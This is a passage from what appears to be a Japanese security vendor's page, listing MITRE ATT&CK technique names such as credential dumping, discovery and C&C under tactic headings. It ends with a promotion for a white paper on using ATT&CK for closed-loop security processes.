・マスカレーディング
・NTFSファイル属性
・アクセストークン操作
認証情報へのアクセス
・Webブラウザからの認証情報の窃取
・ブルートフォース
・秘密鍵
・クレデンシャルのダンプ
検出
・クエリレジストリ
・システム情報の検出
・パーミッショングループの検出
・アカウントの検出
・ドメイン信頼の検出
データの収集
流出
C&C(コマンドアンドコントロール)
・データのエンコーディング
・データの難読化
・標準アプリケーションレイヤープロトコル
・リモートファイルコピー
・あまり使われないポート
・よく使われるポート
ホワイトペーパー「MITRE ATT&CKを使用してクローズドループ式のセキュリティプロセスを作成する5つの段階」
このホワイトペーパーでは、MITER ATT&CKを使用してクローズドループの戦術的なセキュリティ対策を実施するために参考にすべき、重要な5つの段階について説明します。
https://www.cybereason.co.jp/product-documents/white-paper/3259/